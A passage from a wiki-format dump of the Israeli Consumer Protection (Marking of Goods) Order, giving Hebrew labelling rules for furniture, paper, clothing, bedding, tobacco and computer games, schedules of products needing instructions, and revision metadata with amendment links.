: (ה) בסימון רהיט משולב יצוינו גם החומרים שפורטו בסעיפים קטנים (ב) ו-(ג).
: (ו) בסימון רהיט מרופד יצוינו גם הפרטים הבאים:
:: (1) הרכב בד הריפוד החיצוני כגון: חומר סינתטי, חומר סינתטי מעורב בצמר או בכותנה תוך ציון אחוזי החומרים חומר טבעי טהור (כותנה, צמר או פשתן);
:: (2) הוראות כלליות לניקוי בד הריפוד;
:: (3) תוכו של הריפוד, כגון גומי ספוגי, גומי לטקס מוקצף, פוליאוריתן מוקצף, או חומר אחר ששמו יצוין, סוג קפיצי המתכת ומספרם;
:: (4) החומר שממנו עשוי השלד.
: (ז) בסימון מזרן יצוינו גם הפרטים הבאים:
:: בד הריפוד, פירוט חומרי הגלם שבמזרן, מספר קפיצי מתכת.
: (ח) מידות -
:: (1) ברהיט שהוא ארון, מזנון, כוננית או שולחן, יצוינו אורך הרהיט, רוחבו וגובהו, ובשולחן הניתן להארכה או להרחבה, אורכו או רוחבו של השולחן לפני הארכתו או הרחבתו ולאחריה; הסטיה מהמידות שצוינו כאמור לא תעלה על 1%;
:: (2) ברהיט שהוא מיטה, ספה, מזרן, או ספסל לישיבת שני אנשים או יותר, יצוין אורכו של הרהיט ורוחבו; הסטיה ממידות מיטה או ספה שצוינו כאמור לא תעלה על 2%.
: (ט) על אף האמור [[צו זה|בסעיף 2 לצו העיקרי]], סימון רהיטים יכול שייעשה באופן מקוון, באמצעות הצגתו באתר האינטרנט של היצרן או של היבואן של הרהיט ובלבד שהתקיימו כל אלה:
:: (1) פרטי הסימון מופיעים בעברית באופן שהצרכן יכול לעיין בהם בחיפוש לפי שם המוצר ומאפייניו, ושם הדגם ככל שישנו;
:: (2) פרטי הסימון של רהיט יופיעו בהתאם לאמור בפסקה (1) לתקופה של 7 שנים לפחות מהמועד האחרון שבו נמכר אותו רהיט לקמעונאי.
: (י)(1) סימון רהיט המשמש בתצוגה ייעשה על גבי שלט שיונח על הרהיט או בסמוך אליו וסימון רהיט המוצג בקטלוג ייעשה בקטלוג;
:: (2) רכש צרכן רהיט שפרטיו לא מסומנים על גביו או על גבי אריזתו, ימסור לו העוסק, במסמך, את פרטי הסימון של הרהיט או את הקישור לאתר האינטרנט של היצרן או של היבואן של הרהיט כאמור בסעיף קטן (ט), לפי בחירת הצרכן; על אף האמור, רשאי העוסק למסור את פרטי הסימון או הקישור כאמור בדרך אחרת, למעט בעל פה, אם הסכים לכך הצרכן;
:: (3) פרטי הסימון או הקישור לאתר האינטרנט כאמור בפסקה (2) יימסרו לצרכן במעמד ביצוע העסקה.

@ 4. מוצרי נייר וקרטון (תיקון: תשנ&quot;ו-2, תשס&quot;ה)
: (א) בסעיף זה, &quot;מוצרי נייר וקרטון&quot; - המוצרים הבאים:
:: (1) מחברת בכריכה רכה ותפירת גב;
:: (2) בלוק למכתבים בכריכת בלוק;
:: (3) (((נמחקה);))
:: (4) (((נמחקה);))
:: (5) מפיות נייר;
:: (6) נייר טואלט;
:: (7) (((נמחקה);))
:: (8) נייר דבק;
:: (9) מגבות נייר;
:: (10) (((נמחקה);))
:: (11) (((נמחקה);))
:: (12) דפדפות נייר, בין משורטטות ובין שאינן משורטטות;
:: (13) (((נמחקה);))
:: (14) (((נמחקה);))
:: (15) (((נמחקה);))
:: (16) מעטפות;
:: (17) (((נמחקה);))
:: (18) נייר לכתיבה, להדפסה, לצילום ולפקסימיליה.
: (ב) בסימון מוצרי נייר וקרטון, יצוינו גם פרטים אלה:
:: (1) סוג הנייר, כגון: נטול עץ, קרפ, טישיו, ממוחזר;
:: (2) משקל למ&quot;ר, למעט במוצרים המפורטים בפסקאות (5) ו-(6) שבסעיף קטן (א);
:: (3) אורך ורוחב;
:: (4) במוצרים ארוזים - מספר היחידות באריזה.
: (ג) מקום הסימון של מוצרי נייר וקרטון יהיה כמפורט להלן:
:: (1) לגבי המוצרים המפורטים בפסקאות (1), (2) ו-(12) שבסעיף קטן (א) - על גבי הכריכה של כל יחידה;
:: (2) לגבי המוצרים המפורטים בפסקאות (5), (6), (8), (9), (12), (16) ו-(18) שבסעיף קטן (א) - על גבי האריזה או העטיפה או על גבי כל יחידה.

@ 5. (תיקון: תשס&quot;ה) : (((בוטל).))

@ 6. צבעים
: (א) בסעיף זה, &quot;צבע&quot; - צבע מוכן לשימוש בצורה נוזלית או נוזלית למחצה לרבות צבע יסוד, צבע לשכבות ביניים, צבע גמר או לכה ולמעט צבעי דפוס.
: (ב) הסימון של צבע יכלול -
:: (1) גוון הצבע מתואר במלים או במספר לפי לוח הגוונים של היצרן או על ידי צביעת מכסה המכל מבחוץ, כולו או מקצתו, בגוון הצבע הארוז בו;
:: (2) סימן לזיהוי האצווה (batch) ממנו ניטל הצבע הארוז במכל;
:: (3) השימוש לו מיועד הצבע; ואם הוא צבע גמר המיועד לשימוש בפנים הבנין בלבד, יצויינו גם המלים &quot;צבע פנים&quot;.

@ 7. (תיקון: תשס&quot;ה) : (((בוטל).))
@ 8. (תיקון: תשמ&quot;ט-4, תשס&quot;ה) : (((בוטל).))
@ 9. (תיקון: תשס&quot;ה) : (((בוטל).))

@ 10. מוצרי הלבשה (תיקון: תשס&quot;ה, תשס&quot;ז, תשע&quot;ח)
: (א) בסעיף זה -
::- &quot;מוצר הלבשה&quot; - מוצר המיועד או העשוי לשמש לבוש לגברים, נשים או ילדים, המורכב ביסודו מסיבי טקסטיל או מעור, בין אם יש בו חלקים או אבזרים שאינם עשויים סיבי טקסטיל או עור מעובד ובין אם אין בו חלקים כאמור;
::- &quot;עיקר מוצר הלבשה&quot; - מוצר הלבשה למעט הבטנה, האבזרים והקישוטים שבמוצר ההלבשה;
::- &quot;סיבים מלאכותיים&quot; - סיבים העשויים בדרך מלאכותית מחומר המצוי בטבע;
::- &quot;סיבים סינתטיים&quot; - סיבים העשויים בדרך מלאכותית מחומר סינתטי.
: (ב) במוצר הלבשה המסומן בתווית לועזית, הכוללת הוראות כביסה וגיהוץ בצורת סימנים גראפיים או ספרות המציינת מידות, אין חובה לסמן את הסימנים הגראפיים או הספרות בעברית.
: (ג)(1) הסימון יהיה ברור ובר קיימא וייעשה על מוצר ההלבשה גופו, או על גבי תווית עשויה מבד התפורה היטב או המחוברת דרך קבע באופן אחר למוצר ההלבשה, ובלבד שתווית או סימון המצויים על גבי מוצר ההלבשה גופו יהיו עמידים בכביסה.
:: (1א) על אף האמור בפסקה (1) -
::: (א) סימון גרביים, כובעים, צעיפים וכפפות, ייעשה על גבי האריזה או על גבי תווית שתוצמד להם היטב, או לאריזתם, בהדבקה;
::: (ב) הסימון בעברית על מוצר הלבשה, למעט מוצר הלבשה כאמור בפסקת משנה (א), יכול שייעשה על גבי תג המחובר שלא בדרך קבע למוצר ההלבשה ובלבד שגודל מוצר ההלבשה, הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ד)(3) עד (5), סומנו בהתאם לפסקה (1).
:: (1ב) על אף האמור [[בסעיף 4 לצו זה]], מוצר הלבשה הנמכר בעסקת מכר מרחוק באמצעות האינטרנט יכול שלא יסומן בעברית ובלבד שהתקיימו לגביו אלה:
::: (א) העוסק גילה לצרכן בעברית את פרטי הסימון הנוגעים לעניין לפי הוראות צו זה בשלב השיווק מרחוק;
::: (ב) גודל מוצר ההלבשה, הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ד)(3) עד (5) סומנו בהתאם לפסקה (1);
::: (ג) בסעיף קטן זה, &quot;עסקת מכר מרחוק&quot;, ו&quot;שיווק מרחוק&quot; - כהגדרתם [[בסעיף 14ג(ו) לחוק]].
:: (2) היה מוצר ההלבשה מורכב ממספר פריטים או יחידות, אשר לכל אחד מהם הרכב סיבים שונה או תכונות אחרות שונות, הטעונות סימון, חייבים כל פריט או יחידה סימון נפרד, אולם אם כל הפריטים או היחידות נמכרים לצרכן יחד כמוצר הלבשה אחד, מותר לסמן את כל הטעון סימון על תווית אחת תוך הפרדה ברורה בין הפרטים המתייחסים לכל פריט או יחידה.
:: (3) היה המוצר מורכב ממספר פריטים או יחידות, הנמכרים לצרכן יחד כמוצר הלבשה אחד ואשר כל תכונותיהם הטעונות סימון זהות - מותר לסמן את הטעון סימון על תווית אחת.
: (ד) הסימון יכלול גם פרטים אלה:
:: (1) שם הסיב שממנו עשוי מוצר ההלבשה כגון, כותנה, פוליאסטר, ויסקוזה, משי, צמר, אקרילן, אנגורה, פשתן, ובלבד שלא יצוין מוצר ההלבשה כעשוי מאחד הסיבים האמורים בלבד, אם משקל הסיב באחוזים קטן מ-85%, ואם הוא עשוי מתערובת של סיבים שונים, יצוינו שמות הסיבים ומשקלם באחוזים, לפי סדר יורד;
:: (2) עשוי מוצר הלבשה מעור מעובד של בקר, צאן או חזיר, יצוין העור המעובד שממנו עשוי מוצר ההלבשה;
:: (3) גודל מוצר ההלבשה יצוין בספרות או במילים &quot;קטן&quot;, &quot;בינוני&quot;, &quot;גדול&quot; או &quot;גדול מאוד&quot; ואולם על אף האמור [[בסעיף 4 לצו זה]], מותר במקום המילים האמורות להשתמש באותיות האנגליות S‏, M‏, L‏, XL‏, XXL‏, XXXL;
:: (4) על אף האמור בפסקה (3), ניתן לסמן מוצר הלבשה לתינוקות וילדים, במספרים או במילים המציינים טווח גיל;
:: (5) על אף האמור [[בסעיף 4 לצו זה]], הוראות כביסה וניקוי והוראות גיהוץ, ניתן לסמן בסימון גרפי כאמור בת&quot;י 572 טקסטיל - סימון והוראות טיפול באמצעות סמלים מספטמבר 2000;
:: (6) בגרביונים הסרוגים מחוטים סינתטיים או מלאכותיים, יצוין עובי החוטים ביחידות דניה (Denier);
:: (7) מוצר הלבשה שנצבע או יוצר מחוטים או מסיבים צבועים או מאריג מודפס, לא יסומן בסימון שממנו נובע כי הצבע קבוע או יציב, אלא אם כן הצבע הוא בעל יציבות 4 לגבי כל גורם, כאמור בת&quot;י 916 שיטות לבדיקת יציבות הצבע של מוצרי טקסטיל מאוגוסט 1998.
: (ה) (((בוטל).))
: (ו) (((בוטל).))

@ 11. (תיקון: תשס&quot;ה) : (((נמחק).))

@ 12. שקיות פוליאתילן (תיקון: תשמ&quot;ו-2, תשמ&quot;ט-2, תשנ&quot;ד, תשנ&quot;ו, תשנ&quot;ז-2, תשס&quot;ה)
: (א) בסעיף זה, &quot;שקיות פוליאתילן&quot; - שקיות פוליאתילן המשמשות לאריזת טובין.
: (ב) השקיות מפוליאתילן ייארזו בחבילות או בגלילים; כל חבילה או גליל יכילו שקיות זהות בגודלן ובעובין.
: (ג) הסימון על החבילה או על הגליל יכלול גם פרטים אלה:
:: (1) מידות השקיות בס&quot;מ, אורך, רוחב (כולל הקפלים, אם ישנם); הספרות המציינות את המידות יבלטו לעין משאר פרטי הסימון וגובהן יהיה 4 מ&quot;מ לפחות;
:: (2) מספר השקיות שבחבילה או בגליל;
:: (3)(א) בשקיות אוכל (עד למידות 30 על 40 ס&quot;מ), מספר השקיות יהיה בכפולות של 50;
::: (ב) בשקיות אשפה ביתיות (מעל למידות 30 על 40 ס&quot;מ), מספר השקיות יהיו בכפולות של 5.

@ 13. תיקים (תיקון: תשנ&quot;ו, תשס&quot;ה)
: (א) בסעיף זה -
::- &quot;תיק&quot; - ארנקי גברים, ארנקי נשים, תיקים מכל הסוגים, מזוודות, חפצי נסיעה, ילקוטים מכל הסוגים, תרמילים מכל הסוגים.
: (ב) הסימון של מזוודות ותרמילים יכלול את קיבולם במטרים מעוקבים.
: (ג) הסימון ייעשה על גבי תווית שתהיה תפורה או מודבקת על התיק.

@ 14. (תיקון: תשס&quot;ה) : (((נמחק).))
@ 15. (תיקון: תשס&quot;ה) : (((נמחק).))
@ 16. (תיקון: תשמ&quot;ה, תשנ&quot;ג, תשנ&quot;ה-2, תשס&quot;ה) : (((נמחק).))
: (((לפי תיקון תשס&quot;ה, סעיף 16א לתוספת השניה יימחק, אולם הכוונה היא לסעיף 16).))
&lt;!-- : יצרן ידפיס על גבי מכל, המכיל חומצת מלח לשימוש ביתי, באותיות שלא יקטנו מ-10 מ&quot;מ, את הפרטים האלה:
: (1) התכולה הנומינלית של החומצה 10%.
: (2) זהירות – מסוכן למגע בני-אדם. --&gt;

@ 17. סימון מוצרי טבק (תיקון: תשס&quot;ד, תשס&quot;ה-2)
: (א) בסעיף זה, &quot;מוצר טבק&quot; - כהגדרתו [[=חוק הגבלת הפרסומת|בחוק הגבלת הפרסומת למוצרי טבק לעישון, התשמ&quot;ג-1983]] (להלן - חוק הגבלת הפרסומת).
: (ב) על אריזת מוצר טבק לא יופיע:
:: (1) טקסט, שם, סימן מסחר, תיאור גרפי, או סימון שיש בו כדי לרמוז כי מוצר הטבק מזיק פחות ממוצרי טבק אחרים;
:: (2) ציון של המונחים כלהלן, בין כלשונם ובין בתרגומם לעברית או לערבית או בכינויים או מילים דומות להן, נגזרות מהן או בעלות משמעות דומה low tar, ultra light, light, mild.
: (ג) מוצר טבק יסומן באזהרה לפי הוראות [[חוק הגבלת הפרסומת]]; ואולם על אף האמור [[בסעיף 2(ה)(1) לצו זה]], סימון כאמור יודפס על גבי החפיסה או הקופסה ולא על גבי האריזה השקופה; לענין מוצרי טבק שאינם סיגריות, הסימון יכול שייעשה על גבי תווית שתודבק היטב לחפיסה או לקופסה באופן שתימנע הסרתה, לרבות לאריזה שקופה ובלבד שאריזה שקופה כאמור אינה מוסרת בשימוש רגיל בעת פתיחת האריזה; התווית לא תוסתר על ידי סימון אחר ולא תיפגע עם פתיחת הקופסה או החפיסה.

@ 18. כלי מיטה ומגבת (תיקון: תשס&quot;ז, תשע&quot;ט)
: (א) בסעיף זה, &quot;כלי מיטה&quot; - לרבות שמיכה, כרית, מצעים וכדומה.
: (ב) בכלי מיטה ומגבת, יצוינו פרטי הסימון כמפורט להלן:
:: (1) שם הסיב שממנו הם עשויים ובלבד שלא יצוינו כלי המיטה והמגבת כעשויים מאחד הסיבים, אם משקל הסיב באחוזים קטן מ-85%, ואם הם עשויים מתערובת של סיבים שונים, יצוינו שמות הסיבים ומשקלם באחוזים לפי סדר יורד;
:: (2) על אף האמור [[בסעיף 4 לצו זה]], הוראות כביסה וניקוי והוראות גיהוץ, ניתן לסמן בסימון גרפי כאמור בת&quot;י 572 טקסטיל - סימון והוראות טיפול באמצעות סמלים מספטמבר 2000;
:: (3) האורך והרוחב בסנטימטרים.
: (ג) הסימון יהיה ברור ובר-קיימא וייעשה על גבי תווית עשויה מבד התפורה היטב או מחוברת דרך קבע באופן אחר לכלי מיטה ומגבת ובלבד שהתווית תהיה עמידה בכביסה.
: (ד) על אף האמור בסעיף קטן (ג), הסימון בעברית על כלי מיטה ומגבת יכול שייעשה על גבי האריזה או על גבי תג המחובר שלא בדרך קבע לכלי המיטה ומגבת ובלבד שהוראות כביסה וניקוי והוראות גיהוץ סומנו בהתאם לסעיף קטן (ג).
: (ה) על אף האמור [[בסעיף 4 לצו זה]], כלי מיטה ומגבת הנמכרים בעסקת מכר מרחוק באמצעות האינטרנט יכול שלא יסומנו בעברית ובלבד שהתקיימו לגביהם אלה:
:: (1) העוסק גילה לצרכן בעברית את פרטי הסימון הנוגעים לעניין לפי הוראות [[החוק]] וצו זה בשלב השיווק מרחוק;
:: (2) הוראות כביסה וניקוי והוראות גיהוץ כאמור בסעיף קטן (ב)(2) סומנו בהתאם לסעיף קטן (ג);
:: (3) בסעיף קטן זה, &quot;עסקת מכר מרחוק&quot; ו&quot;שיווק מרחוק&quot; - כהגדרתם [[בסעיף 14ג(ו) לחוק]].

@ 19. משחק מחשב (תיקון: תשס&quot;ח)
: (א) בסעיף זה, &quot;משחק מחשב&quot; - משחק אינטראקטיבי שהוא תוכנה, כגון משחק וידאו, לומדה חינוכית ועיונית, השמור במדיה מגנטית, אופטית או פיסית אחרת.
: (ב) כל משחק מחשב יסומן בסמל שקבע ארגון [[http://pegi.info|Pan-European Game Information&amp;rlm; (PEGI)]] כמתואר בטור א' להלן, אם הוא מתאים לתיאור שבטור ב' לצדו; הסימול יהיה על גבי הטובין או על גבי אריזתם הקבועה:
:: {| border=&quot;0&quot; width=&quot;500&quot;
|-
! width=&quot;100&quot; | {{מוקטן|טור א'}} {{ש}} סימול !! {{מוקטן|טור ב'}} {{ש}} משחק מחשב
|-
| align=&quot;center&quot; | [[file:PEGI_Discrimination.svg|50px]] || style=&quot;vertical-align:middle;&quot; | עלול לעודד הפליה;
|-
| align=&quot;center&quot; | [[file:PEGI_Drugs.svg|50px]] || style=&quot;vertical-align:middle;&quot; | המתייחס לשימוש בסמים;
|-
| align=&quot;center&quot; | [[file:Pegi_Fear.svg|50px]] || style=&quot;vertical-align:middle;&quot; | העלול להפחיד לילדים;
|-
| align=&quot;center&quot; | [[file:PEGI_Bad_language.svg|50px]] || style=&quot;vertical-align:middle;&quot; | המכיל שפה גסה;
|-
| align=&quot;center&quot; | || style=&quot;vertical-align:middle;&quot; | המתאר עירום או התנהגות מינית;
|-
| align=&quot;center&quot; | [[file:PEGI_Violence.svg|50px]] || style=&quot;vertical-align:middle;&quot; | המכיל תיאור של אלימות;
|-
| align=&quot;center&quot; | [[file:PEGI_Gambling.svg|50px]] || style=&quot;vertical-align:middle;&quot; | המדריך או המעודד הימורים;
|-
| align=&quot;center&quot; | [[file:PEGI_3_(2003-2009).svg|50px]] || style=&quot;vertical-align:middle;&quot; | מתאים לגילאי 3 ומעלה;
|-
| align=&quot;center&quot; | [[file:PEGI_7_(2003-2009).svg|50px]] || style=&quot;vertical-align:middle;&quot; | מתאים לגילאי 7 ומעלה;
|-
| align=&quot;center&quot; | [[file:PEGI_12_(2003-2009).svg|50px]] || style=&quot;vertical-align:middle;&quot; | מתאים לגילאי 12 ומעלה;
|-
| align=&quot;center&quot; | [[file:PEGI_16_(2003-2009).svg|50px]] || style=&quot;vertical-align:middle;&quot; | מתאים לגילאי 16 ומעלה;
|-
| align=&quot;center&quot; | [[file:PEGI_18_(2003-2009).svg|50px]] || style=&quot;vertical-align:middle;&quot; | מתאים לגילאי 18 ומעלה.
|}
: (ג) משחק מחשב המסומן באחד או יותר משבעת הסימולים הראשונים, כאמור בטור א' בטבלה שבסעיף זה, יסומן גם באמור לגביו בטור ב' לצדו.
: (ד) על אף האמור בסעיף קטן (ג), הסימון כאמור בטור ב' יכול שיהיה באמצעות מקרא כולל לשבעת הסימולים הראשונים כאמור, ובלבד שהמקרא יהיה לצד הסימול; המקרא יהיה בגודל שלא יפחת מאורך של 5 סנטימטרים ורוחב של 4 סנטימטרים.
: (ה) הסימון, כאמור בסעיפים קטנים (ג) ו-(ד), יהיה בעברית באותיות מודגשות, בגודל שלא יפחת מ-2 מילימטרים; הסימון יהיה על גבי המוצר או על גבי אריזתו.

=== תוספת שלישית ===
==== ((([[סעיף 7]]))) ====

@ : למוצרים הבאים יש לצרף הוראות שימוש:
@ 1. : סירי לחץ;
@ 2. : סיפוני מתכת לייצור מי סודה;
@ 3. (תיקון: תשמ&quot;ט-5) : צבעים וחמרי איטום;
@ 4. : טמפונים (תוכן הוראות השימוש חייב באישור משרד הבריאות);
@ 5. (תיקון: תשמ&quot;ח-3, תשנ&quot;ה-3) : חמרי ניקוי, אבקות כביסה, נוזלים לכביסה, תכשירים לניקוי כלים, תכשירים לניקוי, כימיקלים לשימוש ביתי, חומרים לפתיחת סתימות ביוב ביתיות;
@ 6. : מכלי ארוסול לשימוש ביתי;
@ 7. (תיקון: תשמ&quot;ד) : כריות וסדינים חשמליים;
@ 8. (תיקון: תשמ&quot;ד) : שעונים דיגיטליים;
@ 9. (תיקון: תשמ&quot;ד) : מצלמות;
@ 10. (תיקון: תשמ&quot;ד-2) : מכונות תפירה חשמליות לשימוש ביתי;
@ 11. (תיקון: תשמ&quot;ד-2) : מערבלי מזון ביתיים;
@ 12. (תיקון: תשמ&quot;ד-2) : סכינים חשמליים לחיתוך;
@ 13. (תיקון: תשמ&quot;ד-2) : שואבי אבק ביתיים;
@ 14. (תיקון: תשמ&quot;ד-2) : מייבשי כביסה ביתיים;
@ 15. (תיקון: תשמ&quot;ו) : מגהצים;
@ 16. (תיקון: תשמ&quot;ו) : מייבשי שיער;
@ 17. (תיקון: תשמ&quot;ו) : מכונות גילוח;
@ 18. (תיקון: תשמ&quot;ו) : מסחטות חשמליות;
@ 19. (תיקון: תשמ&quot;ו) : מפזרי חום;
@ 20. (תיקון: תשמ&quot;ו) : מצננים;
@ 21. (תיקון: תשמ&quot;ו-3) : מערכות סטריאו;
@ 22. (תיקון: תשמ&quot;ו-3) : מכשירי וידאו;
@ 23. (תיקון: תשמ&quot;ו-3) : מכשירי גז ביתיים לשימוש בגז פחממני מעובה (הוראות בטיחותיות);
@ 24. (תיקון: תשמ&quot;ו-3) : תנורי מיקרו-גל;
@ 25. (תיקון: תשמ&quot;ו-3) : תנורי נפט;
@ 26. (תיקון: תשמ&quot;ז, תשמ&quot;ט-6) : מחשבים אישיים כולל מדפסת;
@ 27. (תיקון: תשמ&quot;ז-2) : חלקיו של טובין להרכבה עצמית;
@ 28. (תיקון: תשמ&quot;ז-3) : מדיח כלים ביתי;
@ 28א. (תיקון: תשמ&quot;ח, תש&quot;ן) : תנורי בישול ואפיה;
@ 29. (תיקון: תשמ&quot;ח) : מקדחות חשמליות;
@ 30. (תיקון: תשמ&quot;ח) : משורי שולחן חשמליים;
@ 31. (תיקון: תשמ&quot;ח) : מלחמים;
@ 32. (תיקון: תשמ&quot;ח-4, תשמ&quot;ט) : דבק נוזלי באריזות הקטנות מ-1 ק&quot;ג;
@ 33. (תיקון: תש&quot;ן-2) : מכונות סריגה ביתיות;
@ 34. (תיקון: תשנ&quot;ד) : חומר המיועד לניקוי עדשות ראיה ולעדשות משקפיים;
@ 35. (תיקון: תשנ&quot;ד) : משחקים אלקטרוניים;
@ 36. (תיקון: תשנ&quot;ד) : מצלמות וידיאו;
@ 37. (תיקון: תשנ&quot;ד) : מכשירי רדיו טייפ;
@ 38. (תיקון: תשנ&quot;ד) : מערכות קומפקט דיסק;
@ 39. (תיקון: תשנ&quot;ד-2) : אמבטיות ז'קוזי;
@ 40. (תיקון: תשנ&quot;ד-2) : מקרני שקופיות ומטולי תמונות;
@ 41. (תיקון: תשנ&quot;ד-2) : ממיסי חלודה ומדללים לשימוש ביתי;
@ 42. (תיקון: תשנ&quot;ד-2) : טפטים;
@ 43. (תיקון: תשנ&quot;ה-2) : חומצת מלח לשימוש ביתי;
@ 44. (תיקון: תשנ&quot;ט) : מכסחות דשא;
@ 45. (תיקון: תשנ&quot;ט-2) : סורק;
@ 46. (תיקון: תשנ&quot;ט-2) : מודם;
@ 47. (תיקון: תשס&quot;ב) : מערכות קולנוע ביתי;
@ 48. (תיקון: תשס&quot;ב) : מערכות שמע וסראונד;
@ 49. (תיקון: תשס&quot;ב) : מכשירי DVD;
@ 50. (תיקון: תשס&quot;ב) : מחשבי כף היד;
@ 51. (תיקון: תשס&quot;ב) : מברגות חשמליות;
@ 52. (תיקון: תשס&quot;ה) : מכשירים ותכשירים רפואיים המיועדים לשימוש עצמי.

=== תוספת רביעית  ===
==== ((([[סעיף 8]]))) ====

@ 1. (תיקון: תשמ&quot;ח-2, תשנ&quot;ז) : (((נמחק);))
@ 2. (תיקון: תשנ&quot;ט) : (((נמחק);))
@ 3. (תיקון: תשנ&quot;ד) : (((בוטל);))
@ 4. (תיקון: תשנ&quot;ד, תשנ&quot;ד-2) : (((בוטל);))
@ 5. (תיקון: תשמ&quot;ד) : סיגריות, סיגרים וסיגרילות, טבק מעובד, טומבק מעובד וטבק או טומבק להרחה;
@ 6. (תיקון: תשמ&quot;ד, תשנ&quot;ז-3) : (((בוטל);))
@ 7. (תיקון: תשמ&quot;ד-2, תשנ&quot;ט) : (((נמחק);))
@ 8. (תיקון: תשס&quot;ז) : מצרך מוחדש.

=== תוספת חמישית ===
==== ((([[סעיף 9]]))) ====

@ 1. : מזון;
@ 2. : ספרים מודפסים, עיתונים, תמונות ומוצרים אחרים של תעשית הדפוס, כתבי-יד, כתבי הדפסה ותרשימים;
@ 3. : נוצות ומוך מוכנים ומוצרי נוצות או מוך, פרחים מלאכותיים;
@ 4. : כפתורים, לחצניות ורוכסנים;
@ 5. : מילויים לעטים;
@ 6. : צפורניים וחודים לעטים;
@ 7. : מסרקות ומחזיקי שיער;
@ 8. : יצירות אמנות, מוצרים בודדים של אוספים ועתיקות.

&lt;פרסום&gt; ט&quot;ו בכסלו התשמ&quot;ג (1 בדצמבר 1982)
&lt;חתימות&gt; גדעון פת, שר התעשיה והמסחר</text>
      <sha1>kbyuvcsoas6gcivo7q8n7dkbowklzhd</sha1>
    </revision>
  </page>
  <page>
    <title>צו הגנת הצרכן (סימון טובין)</title>
    <ns>0</ns>
    <id>280152</id>
    <revision>
      <id>3020673</id>
      <parentid>2925155</parentid>
      <timestamp>2026-06-18T17:01:39Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <minor />
      <comment>[3020654]</comment>
      <origin>3020673</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="61330" sha1="gsomljbri6glfjx2fj92txl1wnllnqn" xml:space="preserve">{{ח:התחלה}}
{{ח:כותרת|צו הגנת הצרכן (סימון טובין), התשמ״ג–1983}}

{{ח:פתיח-התחלה}}
{{ח:תיבה|ק״ת תשמ״ג, 862|צו הגנת הצרכן (סימון טובין)|https://olaw.org.il/takanot/takanot-4465.pdf}}; {{ח:תיבה|תשמ״ד, 385|תיקון|https://olaw.org.il/takanot/takanot-4452.pdf}}, {{ח:תיבה|1919|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-4661.pdf}}; {{ח:תיבה|תשמ״ה, 950|תיקון|https://olaw.org.il/takanot/takanot-4781.pdf}}; {{ח:תיבה|תשמ״ו, 266|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-4881.pdf}}, {{ח:תיבה|550|תיקון מס׳ 3|https://olaw.org.il/takanot/takanot-4906.pdf}}, {{ח:תיבה|726|תיקון מס׳ 4|https://olaw.org.il/takanot/takanot-4919.pdf}}; {{ח:תיבה|תשמ״ז, 210|תיקון מס׳ 5|https://olaw.org.il/takanot/takanot-4998.pdf}}, {{ח:תיבה|330|תיקון מס׳ 6|https://olaw.org.il/takanot/takanot-4998.pdf}}, {{ח:תיבה|660|תיקון מס׳ 7|https://olaw.org.il/takanot/takanot-5017.pdf}}; {{ח:תיבה|תשמ״ח, 106|תיקון מס׳ 8|https://olaw.org.il/takanot/takanot-5063.pdf}}, {{ח:תיבה|801|תיקון מס׳ 9|https://olaw.org.il/takanot/takanot-5106.pdf}}, {{ח:תיבה|924|תיקון מס׳ 10|https://olaw.org.il/takanot/takanot-5115.pdf}}, {{ח:תיבה|1068|תיקון מס׳ 11|https://olaw.org.il/takanot/takanot-5128.pdf}}; {{ח:תיבה|תשמ״ט, 88|ת״ט|https://olaw.org.il/takanot/takanot-5140.pdf}}, {{ח:תיבה|207|תיקון מס׳ 12|https://olaw.org.il/takanot/takanot-5150.pdf}}, {{ח:תיבה|207|תיקון מס׳ 10 [תשמ״ח] (תיקון)|https://olaw.org.il/takanot/takanot-5150.pdf}}, {{ח:תיבה|737|תיקון מס׳ 13|https://olaw.org.il/takanot/takanot-5182.pdf}}, {{ח:תיבה|941|תיקון מס׳ 14|https://olaw.org.il/takanot/takanot-5191.pdf}}, {{ח:תיבה|1246|תיקון מס׳ 15|https://olaw.org.il/takanot/takanot-5209.pdf}}; {{ח:תיבה|תש״ן, 200|ת״ט|https://olaw.org.il/takanot/takanot-5237.pdf}}, {{ח:תיבה|243|תיקון|https://olaw.org.il/takanot/takanot-5239.pdf}}, {{ח:תיבה|942|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5285.pdf}}; {{ח:תיבה|תשנ״ג, 812|תיקון|https://olaw.org.il/takanot/takanot-5522.pdf}}; {{ח:תיבה|תשנ״ד, 604|תיקון|https://olaw.org.il/takanot/takanot-5577.pdf}}, {{ח:תיבה|1293|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5619.pdf}}; {{ח:תיבה|תשנ״ה, 468|תיקון|https://olaw.org.il/takanot/takanot-5648.pdf}}, {{ח:תיבה|1401|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5678.pdf}}, {{ח:תיבה|1594|תיקון מס׳ 3|https://olaw.org.il/takanot/takanot-5690.pdf}}, {{ח:תיבה|1898|תיקון מס׳ 4|https://olaw.org.il/takanot/takanot-5704.pdf}}; {{ח:תיבה|תשנ״ו, 899|תיקון|https://olaw.org.il/takanot/takanot-5752.pdf}}, {{ח:תיבה|900|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5752.pdf}}; {{ח:תיבה|תשנ״ז, 217|תיקון|https://olaw.org.il/takanot/takanot-5799.pdf}}, {{ח:תיבה|896|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5838.pdf}}, {{ח:תיבה|1245|תיקון מס׳ 3|https://olaw.org.il/takanot/takanot-5853.pdf}}; {{ח:תיבה|תשנ״ט, 35|תיקון|https://olaw.org.il/takanot/takanot-5932.pdf}}, {{ח:תיבה|301|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-5948.pdf}}; {{ח:תיבה|תשס״א, 859|תיקון|https://olaw.org.il/takanot/takanot-6109.pdf}}; {{ח:תיבה|תשס״ב, 601|תיקון|https://olaw.org.il/takanot/takanot-6161.pdf}}; {{ח:תיבה|תשס״ד, 376|תיקון|https://olaw.org.il/takanot/takanot-6305.pdf}}; {{ח:תיבה|תשס״ה, 238|תיקון|https://olaw.org.il/takanot/takanot-6354.pdf}}, {{ח:תיבה|909|תיקון מס׳ 2|https://olaw.org.il/takanot/takanot-6415.pdf}}; {{ח:תיבה|תשס״ז, 